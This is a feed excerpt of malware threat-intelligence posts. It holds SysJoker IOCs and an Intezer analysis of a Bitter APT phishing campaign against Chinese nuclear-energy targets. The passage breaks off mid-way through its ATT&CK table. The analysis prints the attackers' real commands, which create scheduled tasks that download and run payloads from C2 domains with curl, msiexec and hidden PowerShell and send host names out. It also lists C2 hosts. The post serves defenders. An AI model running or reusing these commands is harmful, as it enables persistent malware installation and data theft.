&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Rustdown&lt;span class="hx:absolute hx:-mt-20" id="rustdown"&gt;&lt;/span&gt;
&lt;a href="#rustdown" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;d4095f8b2fd0e6deb605baa1530c32336298afd026afc0f41030fa43371e3e72&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;DMAdevice (SysJoker May 2022 Variant)&lt;span class="hx:absolute hx:-mt-20" id="dmadevice-sysjoker-may-2022-variant"&gt;&lt;/span&gt;
&lt;a href="#dmadevice-sysjoker-may-2022-variant" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;e076e9893adb0c6d0c70cd7019a266d5fd02b429c01cfe51329b2318e9239836&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;6c8471e8c37e0a3d608184147f89d81d62f9442541a04d15d9ead0b3e0862d95&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;AppMessagingRegistrar (SysJoker June 2022 Variant)&lt;span class="hx:absolute hx:-mt-20" id="appmessagingregistrar-sysjoker-june-2022-variant"&gt;&lt;/span&gt;
&lt;a href="#appmessagingregistrar-sysjoker-june-2022-variant" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;67ddd2af9a8ca3f92bda17bd990e0f3c4ab1d9bea47333fe31205eede8ecc706&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;SysJoker Downloader&lt;span class="hx:absolute hx:-mt-20" id="sysjoker-downloader"&gt;&lt;/span&gt;
&lt;a href="#sysjoker-downloader" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;96dc31cf0f9e7e59b4e00627f9c7f7a8cac3b8f4338b27d713b0aaf6abacfe6f&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Dead Drop Resolver URL&lt;span class="hx:absolute hx:-mt-20" id="dead-drop-resolver-url"&gt;&lt;/span&gt;
&lt;a href="#dead-drop-resolver-url" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://onedrive.live[.]com/download?resid=16E2AEE4B7A8BBB1%21112&amp;amp;authkey=!AED7TeCJaC7JNVQ&lt;/code&gt;
(RustDown)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://onedrive.live[.]com/download?cid=F6A7DCE38A4B8570&amp;amp;resid=F6A7DCE38A4B8570%21115&amp;amp;authkey=AKcf8zLcDneJZHw&lt;/code&gt;
(DMAdevice.exe)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://onedrive[.]live.com/download?cid=3014636895E3FE3B&amp;amp;resid=3014636895E3FE3B%21106&amp;amp;authkey=AD4OGrVz9h17Jzo&lt;/code&gt;
(AppMessagingRegistrar.exe)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;C2&lt;span class="hx:absolute hx:-mt-20" id="c2"&gt;&lt;/span&gt;
&lt;a href="#c2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;85.31.231[.]49:443&lt;/code&gt; (Rustdown)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sharing-u-file[.]com&lt;/code&gt; (DMAdevice.exe)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;audiosound-visual[.]com&lt;/code&gt; (AppMessagingRegistrar.exe)filestorage-short[.]org
(SysJoker Downloader)&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Phishing Campaign Targets Chinese Nuclear Energy Industry</title><link>https://research.intezer.com/blog/2023/03/phishing-campaign-targets-nuclear-energy-industry/</link><pubDate>Fri, 24 Mar 2023 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2023/03/phishing-campaign-targets-nuclear-energy-industry/</guid><description>
&lt;p&gt;Intezer has been tracking activity targeting the energy sector and noted a
campaign with techniques that align with those of
&lt;a href="https://analyze.intezer.com/families/3b992ec8-b6b1-4ea4-a958-b5fca45f31bd?tab=detect&amp;amp;utm_campaign=research-blog&amp;amp;utm_content=phishing-campaign-targets-nuclear-energy-industry&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Bitter APT&lt;/a&gt;,
operating in the Asia-Pacific region.&lt;/p&gt;
&lt;p&gt;We have made the connection to Bitter APT through tactics, techniques, and
procedures (TTPs) that have been observed in other publications, such as the
use of Microsoft Office exploits through
&lt;a href="https://blog.talosintelligence.com/bitter-apt-adds-bangladesh-to-their/"target="_blank" rel="noopener"&gt;Excel files&lt;/a&gt;,
and the use of CHM and
&lt;a href="https://www.antiy.cn/research/notice&amp;amp;report/research_report/20210705.html"target="_blank" rel="noopener"&gt;Windows Installer (MSI) files&lt;/a&gt;.
Bitter APT is a South Asian threat group that commonly targets energy and
government sectors; they have been
&lt;a href="https://attack.mitre.org/groups/G1002/"target="_blank" rel="noopener"&gt;known to target&lt;/a&gt; Pakistan, China,
Bangladesh, and Saudi Arabia.&lt;/p&gt;
&lt;p&gt;Bitter APT are continuing to target organizations in China in an espionage
campaign, as our here research shows. For some of the payloads we have
corresponding phishing emails that were used as lures to deliver the files,
allowing analysis of the social engineering techniques used. &lt;strong&gt;We have noted
updates to the first-stage payloads used, with new layers of obfuscation to
hinder analysis and additional decoys used for social engineering&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Analysis of Phishing Lures and Payloads&lt;span class="hx:absolute hx:-mt-20" id="analysis-of-phishing-lures-and-payloads"&gt;&lt;/span&gt;
&lt;a href="#analysis-of-phishing-lures-and-payloads" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We identified seven emails pretending to be from the Embassy of Kyrgyzstan,
being sent to recipients in the nuclear energy industry in China. In some
emails, people and entities in academia are also targeted, also related to
nuclear energy. The phishing emails contain a lure that invites the recipients
to join conferences on subjects that are relevant to them. The lures are
designed to socially engineer the recipient to download and open an attached
RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel
payload. This activity appears to be a continuation of the tactics and campaign
that Bitter APT have been using since
&lt;a href="https://www.antiy.cn/research/notice&amp;amp;report/research_report/20210705.html"target="_blank" rel="noopener"&gt;at least 2021&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/03/phishing-campaign-targets-nuclear-energy-industry/images/fig1.png" title="Figure 1: Attack flow described in this research" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: Attack flow described in this research&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Social Engineering with Phishing Emails&lt;span class="hx:absolute hx:-mt-20" id="social-engineering-with-phishing-emails"&gt;&lt;/span&gt;
&lt;a href="#social-engineering-with-phishing-emails" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The emails contain a number of social engineering techniques. The name and
email address used to send the phishing emails is crafted to look like it is
coming from an &amp;ldquo;Embassy in Beijing.&amp;rdquo; A free email provider is used, therefore
domain reputation checks will not be useful.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/03/phishing-campaign-targets-nuclear-energy-industry/images/fig2.png" title="Figure 2: Name crafted to appear as communication from an embassy" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: Name crafted to appear as communication from an embassy&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The email is signed off with the name and details of an actual attaché of the
Kyrgyz embassy in China. If the recipient were to use a search engine to check
for this employee, they would easily be able to find corroborating information
from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan,
adding to the supposed legitimacy of the email. This is presumably also how the
malicious actor was able to get information in order to craft the lure.&lt;/p&gt;
&lt;p&gt;The email subject and body use terms and themes that would be familiar with the
recipients in governmental and energy sectors, such as International Atomic
Energy Agency (IAEA), China Institute of International Studies (CIIS),
strategic alliances, and nuclear doctrines.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/03/phishing-campaign-targets-nuclear-energy-industry/images/fig3.png" title="Figure 3: Email body lure with nuclear themes" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 3: Email body lure with nuclear themes&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Malicious Payloads via CHM and Microsoft Excel Files&lt;span class="hx:absolute hx:-mt-20" id="malicious-payloads-via-chm-and-microsoft-excel-files"&gt;&lt;/span&gt;
&lt;a href="#malicious-payloads-via-chm-and-microsoft-excel-files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Multiple payloads have been observed being delivered. Either CHM files, or
Microsoft Excel files with Equation Editor exploits. These payloads are
compressed inside RAR files, this helps avoid static analysis techniques that
do not decompress the files first. The purpose of the payloads are to create
persistence and download further malware payloads. We were not able to get
further additional payloads from the command and control (C2) servers, but in
some instances were able to get the file names of next stages from active C2s.&lt;/p&gt;
&lt;h2&gt;Malicious Microsoft Excel Files&lt;span class="hx:absolute hx:-mt-20" id="malicious-microsoft-excel-files"&gt;&lt;/span&gt;
&lt;a href="#malicious-microsoft-excel-files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The Excel
&lt;a href="https://analyze.intezer.com/files/07504fcef717e6b74ed381e94eab5a9140171572b5572cda87b275e3873c8a88?utm_campaign=research-blog&amp;amp;utm_content=phishing-campaign-targets-nuclear-energy-industry&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;payloads&lt;/a&gt;
simply contain an Equation Editor exploit that creates two different
&lt;a href="https://intezer.com/blog/incident-response/infected-endpoint-scan-result/?utm_campaign=research-blog&amp;amp;utm_content=phishing-campaign-targets-nuclear-energy-industry&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#:~:text=has%20created%20a-,scheduled%20task,-,%20which%20we%20can"target="_blank" rel="noopener"&gt;scheduled tasks&lt;/a&gt;.
There is no decoy in the document. One scheduled task (shown below) runs every
15 minutes, to download a next stage EXE payload using cURL, also sending the
actor the name of the infected machine. These tactics have been observed being
used by Bitter APT in
&lt;a href="https://blog.talosintelligence.com/bitter-apt-adds-bangladesh-to-their/"target="_blank" rel="noopener"&gt;2021/2022&lt;/a&gt;.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;&amp;#34;C:\Windows\System32\schtasks.exe&amp;#34; /create /sc MINUTE /mo 15 /TN WindowsDWMDWMCORE /TR &amp;#34;cmd /c start /min curl --output %AppData%\dwmcor.exe -O &amp;#34;&amp;#34;https://qwavemediaservice[.]net/hkcu/qt.php/?dt=%computername%-QT-2&amp;amp;ct=QT&amp;#34;&amp;#34;&amp;#34; /f&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/03/phishing-campaign-targets-nuclear-energy-industry/images/fig4.png" title="Figure 4: Scheduled task" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: Scheduled task&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The second scheduled task created attempts to execute the payload downloaded by
the other task:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;&amp;#34;C:\Windows\System32\schtasks.exe&amp;#34; /create /sc MINUTE /mo 20 /TN WindowsDWMDWMCORELIB /TR &amp;#34;%AppData%\dwmcor.exe&amp;#34; /f&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;CHM Files&lt;span class="hx:absolute hx:-mt-20" id="chm-files"&gt;&lt;/span&gt;
&lt;a href="#chm-files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The more common payloads contained within the RAR files are Microsoft Compiled
HTML Help (CHM) files. These can be used to simply execute arbitrary code, in
these cases, they are also used to create scheduled tasks for persistence and
downloading of the next stage. We have noted multiple versions of these CHM
payloads. CHM payloads are useful for the actor as it requires a low amount of
user interaction, it does not require a vulnerable version of Microsoft Office
installed like the Excel files, and it also uses LZX compression that will
bypass static malware analysis solutions that do not decompress the file.&lt;/p&gt;
&lt;p&gt;The
&lt;a href="https://analyze.intezer.com/files/06b4c1f46845cee123b2200324a3ebb7fdbea8e2c6ef4135e3f943bd546a2431/behavior?utm_campaign=research-blog&amp;amp;utm_content=phishing-campaign-targets-nuclear-energy-industry&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;first version&lt;/a&gt;
of the CHM file will create a scheduled task that will use the living off the
land binary
&lt;a href="https://lolbas-project.github.io/lolbas/Binaries/Msiexec/"target="_blank" rel="noopener"&gt;msiexec&lt;/a&gt; to execute
a remote MSI payload from the C2. String concatenation is used to break up the
string for obfuscation. The computer name and the username is also sent to the
C2.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;&amp;#34;C:\Windows\System32\schtasks.exe&amp;#34; /create /sc minute /mo 15 /tn AdobeUpdater /tr &amp;#34;%coMSPec% /c s^t^a^rt /^m^i^n m^s^i^e^xe^c ^/^i htt^p:/^/mirz^adih^atti^[.]com^/cs^s/t^ry.php?h=%computername%*%username% /^q^n ^/^norestart&amp;#34; /ft&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We did not fetch any additional payloads from the C2, but we were served empty
MSI files, allowing us to discover the names of the next stage payloads.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/03/phishing-campaign-targets-nuclear-energy-industry/images/fig5.png" title="Figure 5: Empty payloads served from different C2 servers" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: Empty payloads served from different C2 servers&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This may allow the actor to examine the server logs of beaconing infected
machines before deciding whether to swap out the empty file with an actual
payload if the target looks promising enough, thus protecting the next stage of
the attack. Bitter APT do not appear to change their tactics too much,
therefore we can assume that the payloads will be similar to those
&lt;a href="https://www.antiy.cn/research/notice&amp;amp;report/research_report/20210705.html"target="_blank" rel="noopener"&gt;observed&lt;/a&gt;
in 2021, executing a downloader module that can be served with plugins such as
a keylogger, remote access tool, file stealer, or browser credential stealer.&lt;/p&gt;
&lt;p&gt;The
&lt;a href="https://analyze.intezer.com/files/ded0635c5ef9c3d63543abc36a69b1176875dba84ca005999986bd655da3a446/genetic-analysis?utm_campaign=research-blog&amp;amp;utm_content=phishing-campaign-targets-nuclear-energy-industry&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;second version&lt;/a&gt;
of the CHM payload abstracts the same activity through an encoded PowerShell
command stage, obfuscating the activity further than just simple string
concatenation.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/03/phishing-campaign-targets-nuclear-energy-industry/images/fig6.png" title="Figure 6: Encoded PowerShell command in version 2 of the CHM files" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 6: Encoded PowerShell command in version 2 of the CHM files&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The decoded command is the following:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;schtasks /create /tn WinSecurity /sc minute /mo 15 /tr &amp;#34;powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\pic.jpg https://coauthcn[.]com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\pic.jpg|powershell;timeout 9;del %LOCALAPPDATA%\pic.jpg&amp;#34; /f&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;It is evident that the C2 controllers have been updated also as now only the
computer name is sent to the C2 and not the username. What is interesting about
the next version is that it now contains a decoy picture when opened:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/03/phishing-campaign-targets-nuclear-energy-industry/images/fig7.png" title="Figure 7: Decoy picture" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 7: Decoy picture&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The decoy appears to reference the United Front Work Department of the Central
Committee of the Chinese Communist Party. The following is a machine translated
version of the same picture for reference (please note that the translation
will not be fully accurate and should be used for reference purposes only):&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/03/phishing-campaign-targets-nuclear-energy-industry/images/fig8.jpg" title="Figure 8: Machine translated version of the decoy" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 8: Machine translated version of the decoy&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Bitter APT have been conducting espionage campaigns for years using many
tactics, including phishing, to achieve their goals. It is advised that
entities in government, energy, and engineering especially those in the
Asia-Pacific region should remain vigilant when receiving emails, especially
those claiming to be from other diplomatic entities. Always verify that the
sender is trusted and understand that even if it claims to be from a particular
person, it might not be. None of the social engineering techniques used are
novel and it is imperative that employees of companies should have a good
standard of security awareness about phishing emails, so employees can report
phishing emails for investigation.&lt;/p&gt;
&lt;p&gt;Always take care when handling attachments, and never open CHM files as they
are antiquated and not commonly used for legitimate purposes currently.&lt;/p&gt;
&lt;h2&gt;Indicators of Compromise&lt;span class="hx:absolute hx:-mt-20" id="indicators-of-compromise"&gt;&lt;/span&gt;
&lt;a href="#indicators-of-compromise" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;File Hashes (SHA256)&lt;span class="hx:absolute hx:-mt-20" id="file-hashes-sha256"&gt;&lt;/span&gt;
&lt;a href="#file-hashes-sha256" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;5f663f15701f429f17cc309d10ca03ee00fd20f733220cc9d2502eff5d0cd1a1 (Email)
eb7aebded5549f8b006e19052e0d03dc9095c75a800897ff14ef872f18c8650e (Email)
cac239cf09a6a5bc1f9a3b29141336773c957d570212b97f73e13122fe032179 (Email)
8d2f6b0d7a6a06708593cc64d9187878ea9d2cc3ae9a657926aa2a8522b93f74 (Email)
33905e2db3775d2e8e75c61e678d193ac2bab5b5a89d798effbceb9ab202d799 (Email)
5c85194ade91736a12b1eeeb13baa0b0da88c5085ca0530c4f1d86342170b3bc (Email)
ef4fb1dc3d1ca5ea8a88cd94596722b93524f928d87dff0d451d44da4e9181f1 (Email)
b2566755235c1df3371a7650d94339e839efaa85279656aa9ab4dc4f2d94bbfa (RAR)
33a20950e7f4b2191706ddf9089f1e91be1e5384cca00a57cf6b58056f70c96b (RAR)
7e7e90b076ef3ea4ef8ed4ef14fb599a2acb15d9ce00c78e5949186da1e355cf (RAR)
07504fcef717e6b74ed381e94eab5a9140171572b5572cda87b275e3873c8a88 (XLS)
06b4c1f46845cee123b2200324a3ebb7fdbea8e2c6ef4135e3f943bd546a2431 (CHM)
ded0635c5ef9c3d63543abc36a69b1176875dba84ca005999986bd655da3a446 (CHM)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network"&gt;&lt;/span&gt;
&lt;a href="#network" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;qwavemediaservice[.]net
mirzadihatti[.]com
coauthcn[.]com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Mitre ATT&amp;amp;CK&lt;span class="hx:absolute hx:-mt-20" id="mitre-attck"&gt;&lt;/span&gt;
&lt;a href="#mitre-attck" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tactic&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Reconnaissance&lt;/td&gt;
&lt;td&gt;Email Addresses&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1589/002"target="_blank" rel="noopener"&gt;T1589.002&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;The actor gathers target email addresses to target with spearphishing emails&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Initial Access&lt;/td&gt;
&lt;td&gt;Spearphishing Attachment&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1566/001"target="_blank" rel="noopener"&gt;T1566.001&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Spearphishing is used to deliver RAR attachments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execution&lt;/td&gt;
&lt;td&gt;PowerShell&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1059/001"target="_blank" rel="noopener"&gt;T1059.001&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Encoded PowerShell is used by CHM payload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execution&lt;/td&gt;
&lt;td&gt;Exploitation for Client Execution&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1203"target="_blank" rel="noopener"&gt;T1203&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Microsoft Office exploits are used to execute code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;Scheduled Task&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1053/005"target="_blank" rel="noopener"&gt;T1053.005&lt;/a&gt;&lt;/td&gt;
